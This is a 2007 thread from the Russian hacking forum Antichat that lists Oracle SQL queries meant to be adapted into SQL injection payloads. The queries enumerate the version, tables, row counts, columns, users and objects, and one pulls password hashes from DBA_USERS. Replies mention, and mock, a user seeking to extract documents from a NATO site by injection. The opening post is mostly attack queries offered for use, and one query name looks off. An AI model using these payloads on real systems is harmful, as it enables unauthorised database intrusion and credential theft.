Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   SQL Injection в Oracle. Интересные запросы. (https://forum.antichat.xyz/showthread.php?t=48017)

groundhog 31.08.2007 15:17

SQL Injection в Oracle. Интересные запросы.
 
SQL Injections веб-приложений, основанных на сервере баз данных Oracle неплохо освещены в соответствующих FAQ. Они имеют свои тонкости, отличные от инъекций в других базах данных. Но просматривая FAQ я не увидел подробной информации о том, что же можно поиметь с инъекций... Чтож, давайте развеем пелену таинственности над Oracle. Итак запросы:

-- Получение данных о версии Oracle (будет несколько строк, обычно 5)
SELECT * FROM V$VERSION;

-- Получение данных о версии Oracle по строкам с перебором по ROWNUM
SELECT T.B FROM (SELECT ROWNUM R, BANNER B FROM V$VERSION) T WHERE R=X

-- Получение имён всех таблиц в БД
SELECT TABLE_NAME FROM SYS.ALL_TABLES;

-- Перебор имён таблиц по заданному NUMROW (возвращается одна строчка)
SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R=X

-- Перебор имён таблиц по заданному NUMROW из диапазона (возвращается несколько строк)
SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R BETWEEN X AND X

-- Перебор имён таблиц по заданному NUMROW c увеличением позиции (возвращается несколько строк)
SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE R>=X

-- Получение количества записей в заданной таблице через NUMROW
SELECT T.NR FROM (SELECT ROWNUM R, NUM_ROWS NR FROM SYS.ALL_TABLES) T WHERE R=X

-- Получение количества записей в заднной таблице через имя таблицы
SELECT T.NR FROM (SELECT ROWNUM R, NUM_ROWS NR, TABLE_NAME TN FROM SYS.ALL_TABLES) T WHERE TN='...';

-- Перебор имён таблиц по заданному NUMROW в таблицах текущего пользователя (возвращается одна строчка)
SELECT T.TN FROM (SELECT ROWNUM R, TABLE_NAME TN FROM SYS.USER_TABLES) T WHERE R=X

-- Получение имён всех колонок в заданной таблице
SELECT COLUMN_NAME FROM USER_TAB_COLUMNS WHERE TABLE_NAME='...';

-- Перебор имён колонок в заданной таблице по ROWNUM
SELECT T.CN FROM (SELECT ROWNUM R, COLUMN_NAME CN FROM USER_TAB_COLUMNS WHERE TABLE_NAME='...') T WHERE R=X

-- Получение информации о типе заданной колонки в заданной таблице
SELECT DATA_TYPE FROM USER_TAB_COLUMNS WHERE TABLE_NAME='...' AND COLUMN_NAME='...';

-- Получение имён пользователей в базе данных
SELECT USERNAME FROM USERS;

-- Альтернативный метод получения объектов (таблицы, последвательности и синонимы) для заданного пользователя
SELECT TABLE_NAME FROM ALL_CATALOG WHERE OWNER='...';

-- Получение имён всех объектов заданного пользователя (индексы, таблицы, ограничения и т.д.)
SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER='...'

-- Получение хеша пароля (SHA1) заданного пользователя, но для этого нужны привелегии DBA
-- При нормальной настройке 99.99% что их не будет
SELECT PASSWORD FROM DBA_USERS WHERE USERNAME='...'

Разумеется, это сырые запросы и вам всё равно перед их использованием придётся подбирать количество столбцов, определять куда какое поле выводится, и какой тип значения можно засунуть в выводимое поле. Но об этом читаем FAQ.

xena-mil1 02.09.2007 23:11

dddd

guest3297 03.09.2007 03:09

Нету там секретных документов.

n0ne 03.09.2007 08:00

Цитата:

есть дыра на сайте НАТО с инджом оракла
нужно вытянуть секретные документы
документы Nato Unclassified , Nato Public уже вытянуты
я рыдал)) Для особо одаренных написано - Unclassified. Ну выучите вы английский язык =\ хеккер с секретными документами на сайте))


Время: 06:59